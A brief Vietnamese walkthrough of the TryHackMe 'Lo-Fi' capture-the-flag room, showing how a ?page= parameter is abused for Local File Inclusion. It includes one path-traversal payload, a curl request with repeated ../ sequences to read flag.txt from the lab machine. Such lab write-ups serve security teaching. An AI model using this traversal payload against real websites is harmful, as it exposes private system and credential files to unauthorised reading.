TryHackMe: Lo-Fi

Mục lục

Walkthrough challenge Lo-Fi trên TryHackMe — exploit Local File Inclusion (LFI).

Link: https://tryhackme.com/room/lofi

Keyword: LFI, File Inclusion

Phân tích

Xem source code, phát hiện path đến các PHP page:

<li><a href="/?page=relax.php">Relax</a></li>
<li><a href="/?page=sleep.php">Sleep</a></li>
<li><a href="/?page=chill.php">Chill</a></li>
<li><a href="/?page=coffee.php">Coffee</a></li>
<li><a href="/?page=vibe.php">Vibe</a></li>
<li><a href="/?page=game.php">Game</a></li>

Khai thác

Ý tưởng rất đơn giản: dùng ../ để cd lên parent folder. Không cần lo số lượng ../ vì root folder có parent là chính nó.

Payload:

curl 10.10.253.144/?page=../../../../../../flag.txt

Vậy thôi 😄